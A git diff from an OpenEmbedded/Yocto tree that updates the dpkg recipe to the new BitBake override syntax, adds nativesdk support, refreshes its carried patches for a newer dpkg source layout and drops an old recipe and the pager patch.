#autotools.bbclass default AUTOTOOLS_AUXDIR is ${S}, we need to under ${S}/build-aux
AUTOTOOLS_AUXDIR = "${S}/build-aux"
-do_configure_prepend () {
+do_configure:prepend () {
mkdir -p ${AUTOTOOLS_AUXDIR}
# autotools_do_configure updates po/Makefile.in.in, we also need
# update dselect/po and scripts/po
@@ -42,29 +45,32 @@ do_configure_prepend () {
cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/scripts/po/
}
-do_install_append () {
+do_install:append () {
if [ "${PN}" = "dpkg-native" ]; then
# update-alternatives doesn't have an offline mode
rm ${D}${bindir}/update-alternatives
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
else
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
fi
}
PROV = "virtual/update-alternatives"
-PROV_class-native = ""
+PROV:class-native = ""
+PROV:class-nativesdk = ""
PROVIDES += "${PROV}"
+FILES:${PN} += "${datadir}/zsh"
+
PACKAGES =+ "update-alternatives-dpkg"
-FILES_update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
-RPROVIDES_update-alternatives-dpkg += "update-alternatives"
+FILES:update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
+RPROVIDES:update-alternatives-dpkg += "update-alternatives"
PACKAGES += "${PN}-perl"
-FILES_${PN}-perl = "${libdir}/perl/${@get_perl_version(d)}"
+FILES:${PN}-perl = "${libdir}/perl5/${@get_perl_version(d)}"
-RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
+RDEPENDS:${PN}-perl += "perl-module-carp perl-module-constant \
perl-module-cwd perl-module-digest \
perl-module-digest-md5 perl-module-errno \
perl-module-exporter perl-module-fcntl \
@@ -88,12 +94,13 @@ RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
# the bitbake version.
#
PACKAGES =+ "${PN}-start-stop"
-FILES_${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
-ALTERNATIVE_${PN}-start-stop = "start-stop-daemon"
+FILES:${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
+ALTERNATIVE:${PN}-start-stop = "start-stop-daemon"
ALTERNATIVE_LINK_NAME[start-stop-daemon] = "${sbindir}/start-stop-daemon"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "${PN}-start-stop"
-
+EXTRA_RDPENDS = "ldconfig"
+EXTRA_RDPENDS:libc-musl = ""
+RDEPENDS:${PN} += "${PN}-start-stop ${EXTRA_RDPENDS}"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch b/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch
index 52e85705fa..b8a8697585 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch
@@ -1,4 +1,4 @@
-From 279e4c274f5f295823cf9fa95d3ba131f6d711db Mon Sep 17 00:00:00 2001
+From 21459bb8d9a997e6a92885a4ef337ede9cc5aba7 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 29 Apr 2020 22:02:23 -0700
Subject: [PATCH] Add support for riscv32 CPU
@@ -11,10 +11,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 2 insertions(+)
diff --git a/data/cputable b/data/cputable
-index 9f2a8e0..1d935b1 100644
+index 575c008e3..7a801a03a 100644
--- a/data/cputable
+++ b/data/cputable
-@@ -41,6 +41,7 @@ powerpc powerpc (powerpc|ppc) 32 big
+@@ -43,6 +43,7 @@ powerpc powerpc (powerpc|ppc) 32 big
powerpcel powerpcle powerpcle 32 little
ppc64 powerpc64 (powerpc|ppc)64 64 big
ppc64el powerpc64le powerpc64le 64 little
@@ -23,10 +23,10 @@ index 9f2a8e0..1d935b1 100644
s390 s390 s390 32 big
s390x s390x s390x 64 big
diff --git a/scripts/Dpkg/Vendor/Debian.pm b/scripts/Dpkg/Vendor/Debian.pm
-index a352bbd..fa1d90b 100644
+index fcf5b1e2a..175c9f436 100644
--- a/scripts/Dpkg/Vendor/Debian.pm
+++ b/scripts/Dpkg/Vendor/Debian.pm
-@@ -306,6 +306,7 @@ sub _add_build_flags {
+@@ -202,6 +202,7 @@ sub set_build_features {
powerpc
ppc64
ppc64el
@@ -34,6 +34,3 @@ index a352bbd..fa1d90b 100644
riscv64
s390x
sparc
---
-2.26.2
-
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
index ffe520c513..95a49053e8 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
@@ -1,4 +1,4 @@
-From 15b081cc8bead80c493ab83369ecb3345a24a3dc Mon Sep 17 00:00:00 2001
+From 4c5e6c280a2ab4d2009d3264e94286f5fe244d0b Mon Sep 17 00:00:00 2001
From: Paul Eggleton <paul.eggleton@linux.microsoft.com>
Date: Tue, 16 Jun 2020 03:57:25 +0000
Subject: [PATCH] build.c: ignore return of 1 from tar -cf
@@ -23,16 +23,15 @@ Upstream-Status: Inappropriate [OE specific]
Original patch by RP 2015/3/27, rebased by Paul Eggleton
Signed-off-by: Paul Eggleton <paul.eggleton@microsoft.com>
-
---
- dpkg-deb/build.c | 5 ++++-
+ src/deb/build.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
-diff --git a/dpkg-deb/build.c b/dpkg-deb/build.c
-index 8436839cd..6b44a36f7 100644
---- a/dpkg-deb/build.c
-+++ b/dpkg-deb/build.c
-@@ -434,6 +434,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+diff --git a/src/deb/build.c b/src/deb/build.c
+index 92aba9553..6436b33da 100644
+--- a/src/deb/build.c
++++ b/src/deb/build.c
+@@ -481,6 +481,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
{
int pipe_filenames[2], pipe_tarball[2];
pid_t pid_tar, pid_comp;
@@ -40,7 +39,7 @@ index 8436839cd..6b44a36f7 100644
/* Fork off a tar. We will feed it a list of filenames on stdin later. */
m_pipe(pipe_filenames);
-@@ -486,7 +487,9 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+@@ -533,7 +534,9 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
/* All done, clean up wait for tar and <compress> to finish their job. */
close(pipe_filenames[1]);
subproc_reap(pid_comp, _("<compress> from tar -cf"), 0);
@@ -50,4 +49,4 @@ index 8436839cd..6b44a36f7 100644
+ ohshite(_("subprocess %s returned error exit status %d"), "tar -cf", rc);
}
- static time_t
+ static intmax_t
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
index 50e6894406..e8d8576f85 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
@@ -1,9 +1,9 @@
-From a328c8bec0bf8071ae8f20fee4c7475205064ba1 Mon Sep 17 00:00:00 2001
+From 1d192b60fc43e24e1c2d6ff452dabeee7a227cc0 Mon Sep 17 00:00:00 2001
From: sweeaun <swee.aun.khor@intel.com>
Date: Sun, 10 Sep 2017 00:14:15 -0700
Subject: [PATCH] dpkg: Support muslx32 build
-Upstream-Status: Pending.
+Upstream-Status: Pending
Changes made on ostable and tupletable to enable muslx32 build.
Signed-off-by: sweeaun <swee.aun.khor@intel.com>
@@ -13,10 +13,10 @@ Signed-off-by: sweeaun <swee.aun.khor@intel.com>
2 files changed, 2 insertions(+)
diff --git a/data/ostable b/data/ostable
-index be64342..87db273 100644
+index 860355774..28779beca 100644
--- a/data/ostable
+++ b/data/ostable
-@@ -19,6 +19,7 @@ base-uclibc-linux linux-uclibc linux[^-]*-uclibc
+@@ -21,6 +21,7 @@ base-uclibc-linux linux-uclibc linux[^-]*-uclibc
eabihf-musl-linux linux-musleabihf linux[^-]*-musleabihf
eabi-musl-linux linux-musleabi linux[^-]*-musleabi
base-musl-linux linux-musl linux[^-]*-musl
@@ -25,17 +25,14 @@ index be64342..87db273 100644
eabi-gnu-linux linux-gnueabi linux[^-]*-gnueabi
abin32-gnu-linux linux-gnuabin32 linux[^-]*-gnuabin32
diff --git a/data/tupletable b/data/tupletable
-index 28f00bf..748ffab 100644
+index 82ae3604e..707d85bdb 100644
--- a/data/tupletable
+++ b/data/tupletable
-@@ -10,6 +10,7 @@ base-uclibc-linux-<cpu> uclibc-linux-<cpu>
+@@ -26,6 +26,7 @@ base-uclibc-linux-<cpu> uclibc-linux-<cpu>
eabihf-musl-linux-arm musl-linux-armhf
eabi-musl-linux-arm musl-linux-armel
base-musl-linux-<cpu> musl-linux-<cpu>
+x32-musl-linux-amd64 x32
- ilp32-gnu-linux-arm64 arm64ilp32
eabihf-gnu-linux-arm armhf
eabi-gnu-linux-arm armel
---
-2.7.4
-
+ eabi-gnu-linux-armeb armeb
diff --git a/meta/recipes-devtools/dpkg/dpkg/0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch b/meta/recipes-devtools/dpkg/dpkg/0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch
index 9fe0ca7600..fc097e5a66 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch
@@ -1,8 +1,8 @@
-From b4ea54158c399874e12394ebc91afe98954695e2 Mon Sep 17 00:00:00 2001
+From 0cac67ce5920d6d0c9df4278bfa77da878a8a37a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 26 Aug 2015 16:16:16 +0300
-Subject: [PATCH 2/5] Adapt to linux-wrs kernel version, which has character
- '_' inside. Remove the first-char-digit-check (as the 1.15.8.5 version does).
+Subject: [PATCH] Adapt to linux-wrs kernel version, which has character '_'
+ inside. Remove the first-char-digit-check (as the 1.15.8.5 version does).
Signed-off-by: Dongxiao Xu <dongxiao.xu@intel.com>
Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
@@ -13,14 +13,14 @@ Upstream-Status: Inappropriate [embedded specific]
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/lib/dpkg/parsehelp.c b/lib/dpkg/parsehelp.c
-index 453077fd9..f42ea2882 100644
+index 63a36f55c..81901bd5a 100644
--- a/lib/dpkg/parsehelp.c
+++ b/lib/dpkg/parsehelp.c
-@@ -243,14 +243,12 @@ parseversion(struct dpkg_version *rversion, const char *string,
+@@ -275,14 +275,12 @@ parseversion(struct dpkg_version *rversion, const char *string,
ptr = rversion->version;
if (!*ptr)
return dpkg_put_error(err, _("version number is empty"));
-- if (*ptr && !c_isdigit(*ptr++))
+- if (!c_isdigit(*ptr++))
- return dpkg_put_warn(err, _("version number does not start with digit"));
for (; *ptr; ptr++) {
- if (!c_isdigit(*ptr) && !c_isalpha(*ptr) && strchr(".-+~:", *ptr) == NULL)
@@ -33,6 +33,3 @@ index 453077fd9..f42ea2882 100644
return dpkg_put_warn(err, _("invalid character in revision number"));
}
-
---
-2.11.0
diff --git a/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch b/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
index 9ca7262eb9..916c7dfb00 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
@@ -1,4 +1,4 @@
-From dd11ed66640f79143e42d778b58fdd5a61fb5836 Mon Sep 17 00:00:00 2001
+From b6c28222276704a1e1a544983e38dfa2f3fb481a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 26 Aug 2015 16:25:45 +0300
Subject: [PATCH] Our pre/postinsts expect $D to be set when running in a
@@ -12,21 +12,21 @@ ALIMON 2016/05/26
ALIMON 2017/02/21
KKang 2019/02/20
---
- src/script.c | 53 +++-------------------------------------------------
+ src/main/script.c | 53 +++--------------------------------------------
1 file changed, 3 insertions(+), 50 deletions(-)
-diff --git a/src/script.c b/src/script.c
-index abe65b6f7..621ff9b27 100644
---- a/src/script.c
-+++ b/src/script.c
-@@ -96,58 +96,11 @@ setexecute(const char *path, struct stat *stab)
- static const char *
+diff --git a/src/main/script.c b/src/main/script.c
+index 017d92efe..181e7c710 100644
+--- a/src/main/script.c
++++ b/src/main/script.c
+@@ -97,58 +97,11 @@ static const char *
maintscript_pre_exec(struct command *cmd)
{
+ const char *instdir = dpkg_fsys_get_dir();
- const char *admindir = dpkg_db_get_dir();
- const char *changedir;
- size_t instdirlen = strlen(instdir);
--
+
- if (instdirlen > 0 && in_force(FORCE_SCRIPT_CHROOTLESS))
- changedir = instdir;
- else
@@ -49,9 +49,7 @@ index abe65b6f7..621ff9b27 100644
- "using --force-script-chrootless?"));
- else if (rc)
- ohshite(_("failed to chroot to '%.250s'"), instdir);
-+ if (*instdir) {
-+ setenv("D", instdir, 1);
- }
+- }
- /* Switch to a known good directory to give the maintainer script
- * a saner environment, also needed after the chroot(). */
- if (chdir(changedir))
@@ -68,19 +66,18 @@ index abe65b6f7..621ff9b27 100644
- debug(dbg_scripts, "fork/exec %s (%s )", cmd->filename,
- args.buf);
- varbuf_destroy(&args);
-- }
++ if (*instdir) {
++ setenv("D", instdir, 1);
+ }
- if (instdirlen == 0 || in_force(FORCE_SCRIPT_CHROOTLESS))
- return cmd->filename;
-
- if (strlen(cmd->filename) < instdirlen)
- internerr("maintscript name '%s' length < instdir length %zd",
- cmd->filename, instdirlen);
-
+-
- return cmd->filename + instdirlen;
+ return cmd->filename;
}
/**
---
-2.17.1
-
diff --git a/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch b/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
index 56c85c7733..35c0c246f6 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
@@ -1,21 +1,20 @@
-From adb6bfd0feeceaf030df0debe3343d7f73e708a0 Mon Sep 17 00:00:00 2001
+From 80ad29d22f8ca4033a6a79a726580fee17bdade9 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 26 Aug 2015 16:27:45 +0300
-Subject: [PATCH 4/5] The lutimes function doesn't work properly for all
- systems.
+Subject: [PATCH] The lutimes function doesn't work properly for all systems.
Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
Upstream-Status: Inappropriate [embedded specific]
---
- src/archives.c | 3 ++-
+ src/main/archives.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/src/archives.c b/src/archives.c
-index bff5f14..b711013 100644
---- a/src/archives.c
-+++ b/src/archives.c
-@@ -449,8 +449,9 @@ tarobject_set_mtime(struct tar_entry *te, const char *path)
+diff --git a/src/main/archives.c b/src/main/archives.c
+index 7e399f922..ec3b6878f 100644
+--- a/src/main/archives.c
++++ b/src/main/archives.c
+@@ -491,8 +491,9 @@ tarobject_set_mtime(struct tar_entry *te, const char *path)
if (te->type == TAR_FILETYPE_SYMLINK) {
#ifdef HAVE_LUTIMES
@@ -26,6 +25,3 @@ index bff5f14..b711013 100644
#endif
} else {
if (utimes(path, tv))
---
-2.1.4
-
diff --git a/meta/recipes-devtools/dpkg/dpkg/0006-add-musleabi-to-known-target-tripets.patch b/meta/recipes-devtools/dpkg/dpkg/0006-add-musleabi-to-known-target-tripets.patch
index 8797ea55c6..8ac646b1a1 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0006-add-musleabi-to-known-target-tripets.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0006-add-musleabi-to-known-target-tripets.patch
@@ -1,7 +1,10 @@
-From f8910022dc3ec622272f168cd0022dbdf6dff93a Mon Sep 17 00:00:00 2001
+From 1c9e78dda91ba66fbd8fe02b66b6c603d08d3343 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 30 Dec 2015 23:05:41 +0000
Subject: [PATCH] add musleabi to known target tripets
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
helps compiling dpkg for musl/arm-softfloat
@@ -14,10 +17,10 @@ Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
2 files changed, 2 insertions(+)
diff --git a/data/ostable b/data/ostable
-index 99c1f889d..be6434271 100644
+index 64f424490..860355774 100644
--- a/data/ostable
+++ b/data/ostable
-@@ -17,6 +17,7 @@
+@@ -19,6 +19,7 @@
eabi-uclibc-linux linux-uclibceabi linux[^-]*-uclibceabi
base-uclibc-linux linux-uclibc linux[^-]*-uclibc
eabihf-musl-linux linux-musleabihf linux[^-]*-musleabihf
@@ -26,17 +29,14 @@ index 99c1f889d..be6434271 100644
eabihf-gnu-linux linux-gnueabihf linux[^-]*-gnueabihf
eabi-gnu-linux linux-gnueabi linux[^-]*-gnueabi
diff --git a/data/tupletable b/data/tupletable
-index 5f500f6ca..28f00bfe6 100644
+index 7436f8056..82ae3604e 100644
--- a/data/tupletable
+++ b/data/tupletable
-@@ -8,6 +8,7 @@
+@@ -24,6 +24,7 @@
eabi-uclibc-linux-arm uclibc-linux-armel
base-uclibc-linux-<cpu> uclibc-linux-<cpu>
eabihf-musl-linux-arm musl-linux-armhf
+eabi-musl-linux-arm musl-linux-armel
base-musl-linux-<cpu> musl-linux-<cpu>
- ilp32-gnu-linux-arm64 arm64ilp32
eabihf-gnu-linux-arm armhf
---
-2.11.0
-
+ eabi-gnu-linux-arm armel
diff --git a/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch b/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
index 4f79a40d8b..3d3a4f0bb9 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
@@ -1,4 +1,4 @@
-From 8659eeeeda74d71e12080121f0b13a88cbdda433 Mon Sep 17 00:00:00 2001
+From 6dd80236a91a505b5753bb74e5f1b47330d8b16b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
Date: Tue, 21 Feb 2017 11:23:27 -0600
Subject: [PATCH] dpkg-deb/build.c: Remove usage of --clamp-mtime in tar
@@ -23,14 +23,14 @@ Update patch context for dpkg 1.19.4.
Signed-off-by: Kai Kang <kai.kang@windriver.com>
---
- dpkg-deb/build.c | 2 +-
+ src/deb/build.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/dpkg-deb/build.c b/dpkg-deb/build.c
-index 68d1875..053fcb7 100644
---- a/dpkg-deb/build.c
-+++ b/dpkg-deb/build.c
-@@ -457,7 +457,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+diff --git a/src/deb/build.c b/src/deb/build.c
+index 1f0c050ee..92aba9553 100644
+--- a/src/deb/build.c
++++ b/src/deb/build.c
+@@ -504,7 +504,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
command_init(&cmd, TAR, "tar -cf");
command_add_args(&cmd, "tar", "-cf", "-", "--format=gnu",
@@ -39,5 +39,3 @@ index 68d1875..053fcb7 100644
/* Mode might become a positional argument, pass it before -T. */
if (options->mode)
command_add_args(&cmd, "--mode", options->mode, NULL);
---
-2.11.0
diff --git a/meta/recipes-devtools/dpkg/dpkg/add_armeb_triplet_entry.patch b/meta/recipes-devtools/dpkg/dpkg/add_armeb_triplet_entry.patch
index d165616a19..cbdf01dbd9 100644
--- a/meta/recipes-devtools/dpkg/dpkg/add_armeb_triplet_entry.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/add_armeb_triplet_entry.patch
@@ -1,5 +1,11 @@
-Author: Krishnanjanappa, Jagadeesh <jagadeesh.krishnanjanappa@caviumnetworks.com>
-Date: Wed Apr 8 18:08:14 2015 +0530
+From 1c3a109df54b6092fa85a1fe2b7771e3b959655f Mon Sep 17 00:00:00 2001
+From: "Krishnanjanappa, Jagadeesh"
+ <jagadeesh.krishnanjanappa@caviumnetworks.com>
+Date: Wed, 8 Apr 2015 18:08:14 +0530
+Subject: [PATCH] dpkg: add triplet entry to fix build error for armeb
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
[PATCH] add armeb triplet entry into triplettable.
@@ -25,24 +31,19 @@ Upstream-Status: Pending
Signed-off-by: Krishnanjanappa, Jagadeesh <jagadeesh.krishnanjanappa@caviumnetworks.com>
Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
---
data/tupletable | 1 +
1 file changed, 1 insertion(+)
diff --git a/data/tupletable b/data/tupletable
-index b7802bec3..5f500f6ca 100644
+index ae9f2ddb4..7436f8056 100644
--- a/data/tupletable
+++ b/data/tupletable
-@@ -12,6 +12,7 @@ base-musl-linux-<cpu> musl-linux-<cpu>
- ilp32-gnu-linux-arm64 arm64ilp32
+@@ -27,6 +27,7 @@ eabihf-musl-linux-arm musl-linux-armhf
+ base-musl-linux-<cpu> musl-linux-<cpu>
eabihf-gnu-linux-arm armhf
eabi-gnu-linux-arm armel
+eabi-gnu-linux-armeb armeb
abin32-gnu-linux-mips64r6el mipsn32r6el
abin32-gnu-linux-mips64r6 mipsn32r6
abin32-gnu-linux-mips64el mipsn32el
---
-2.11.0
-
-
diff --git a/meta/recipes-devtools/dpkg/dpkg/arch_pm.patch b/meta/recipes-devtools/dpkg/dpkg/arch_pm.patch
index 4e0d22acbb..df2cd88ca4 100644
--- a/meta/recipes-devtools/dpkg/dpkg/arch_pm.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/arch_pm.patch
@@ -1,3 +1,8 @@
+From bdf60ebbeb433a80e6cfcbde9d83d89564e79e20 Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Mon, 26 Aug 2013 23:38:45 +0000
+Subject: [PATCH] dpkg: fix configuration issue for mips64
+
configure cannot determine the proper cpu, os, or
architecture for mips64, and possibly other arch's
because of faulty code added to Arch.pm in the latest
@@ -6,16 +11,15 @@ release from upstream. We remove that code.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
-
---
scripts/Dpkg/Arch.pm | 3 ---
1 file changed, 3 deletions(-)
diff --git a/scripts/Dpkg/Arch.pm b/scripts/Dpkg/Arch.pm
-index 1720847b8..6345ce3b9 100644
+index 0d352eeb9..4ef5fa307 100644
--- a/scripts/Dpkg/Arch.pm
+++ b/scripts/Dpkg/Arch.pm
-@@ -323,9 +323,6 @@ sub _load_tupletable()
+@@ -326,9 +326,6 @@ sub _load_tupletable()
(my $dt = $debtuple) =~ s/<cpu>/$_cpu/;
(my $da = $debarch) =~ s/<cpu>/$_cpu/;
@@ -25,5 +29,3 @@ index 1720847b8..6345ce3b9 100644
$debarch_to_debtuple{$da} = $dt;
$debtuple_to_debarch{$dt} = $da;
}
---
-2.11.0
diff --git a/meta/recipes-devtools/dpkg/dpkg/noman.patch b/meta/recipes-devtools/dpkg/dpkg/noman.patch
index a7f3cb8f45..e80549d740 100644
--- a/meta/recipes-devtools/dpkg/dpkg/noman.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/noman.patch
@@ -1,22 +1,22 @@
-Upstream-Status: Inappropriate [disable feature]
+From 008ec5150dd086ffa3940cb520f1ca91939f138d Mon Sep 17 00:00:00 2001
+From: Chris Larson <kergoth@openedhand.com>
+Date: Tue, 5 Sep 2006 07:24:58 +0000
+Subject: [PATCH] Add dpkg, modified from upstream oe.
+Upstream-Status: Inappropriate [disable feature]
---
- Makefile.am | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
+ Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
diff --git a/Makefile.am b/Makefile.am
-index 0da52cb16..a1f79e0a2 100644
+index 7186045d4..daca9faf2 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -13,8 +13,7 @@ SUBDIRS = \
+@@ -11,7 +11,6 @@ SUBDIRS = \
$(MAYBE_DSELECT) \
scripts \
- t-func \
-- po \
-- man
-+ po
+ po \
+- man \
+ # EOL
ACLOCAL_AMFLAGS = -I m4
-
---
-2.11.0
diff --git a/meta/recipes-devtools/dpkg/dpkg/pager.patch b/meta/recipes-devtools/dpkg/dpkg/pager.patch
deleted file mode 100644
index e56b9d28af..0000000000
--- a/meta/recipes-devtools/dpkg/dpkg/pager.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-pager: Use less instead of pager
-
-pager is a Debianism. Istead use directly pager.
-
-Upstream-Status: Inappropriate [OE-Core integration specific]
-
-Suggested-by: Burton, Ross <ross.burton@intel.com>
-Signed-off-by: Ricardo Ribalda <ricardo@ribalda.com>
-diff --git a/lib/dpkg/dpkg.h b/lib/dpkg/dpkg.h
-index 2bb067a..6cbce80 100644
---- a/lib/dpkg/dpkg.h
-+++ b/lib/dpkg/dpkg.h
-@@ -95,7 +95,7 @@ DPKG_BEGIN_DECLS
- #define MAXUPDATES 250
-
- #define DEFAULTSHELL "sh"
--#define DEFAULTPAGER "pager"
-+#define DEFAULTPAGER "less"
-
- #define MD5HASHLEN 32
- #define MAXTRIGDIRECTIVE 256
diff --git a/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch b/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
index 4f408ff777..9307725e8b 100644
--- a/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
@@ -1,13 +1,21 @@
-busybox-1.19.4 tar utility doesn't support --warning=no-timestamp
+From add92699ca1397205e1d7b46c3ab43de06b9a6c7 Mon Sep 17 00:00:00 2001
+From: Constantin Musca <constantinx.musca@intel.com>
+Date: Tue, 28 Aug 2012 17:02:40 +0300
+Subject: [PATCH] busybox-1.19.4 tar utility doesn't support
+ --warning=no-timestamp
Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
Upstream-Status: Inappropriate [configuration]
-Index: dpkg-1.17.1/dpkg-deb/extract.c
-===================================================================
---- dpkg-1.17.1.orig/dpkg-deb/extract.c
-+++ dpkg-1.17.1/dpkg-deb/extract.c
-@@ -318,7 +318,6 @@ extracthalf(const char *debar, const cha
+---
+ src/deb/extract.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/src/deb/extract.c b/src/deb/extract.c
+index 8b78a7eab..fd7595808 100644
+--- a/src/deb/extract.c
++++ b/src/deb/extract.c
+@@ -338,7 +338,6 @@ extracthalf(const char *debar, const char *dir,
command_add_arg(&cmd, "-f");
command_add_arg(&cmd, "-");
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb b/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb
deleted file mode 100644
index d97b69c0b9..0000000000
--- a/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require dpkg.inc
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://salsa.debian.org/dpkg-team/dpkg.git;protocol=https \
- file://noman.patch \
- file://remove-tar-no-timestamp.patch \
- file://arch_pm.patch \
- file://add_armeb_triplet_entry.patch \
- file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
- file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
- file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
- file://0006-add-musleabi-to-known-target-tripets.patch \
- file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
- file://0001-dpkg-Support-muslx32-build.patch \
- file://pager.patch \
- file://0001-Add-support-for-riscv32-CPU.patch \
- "
-
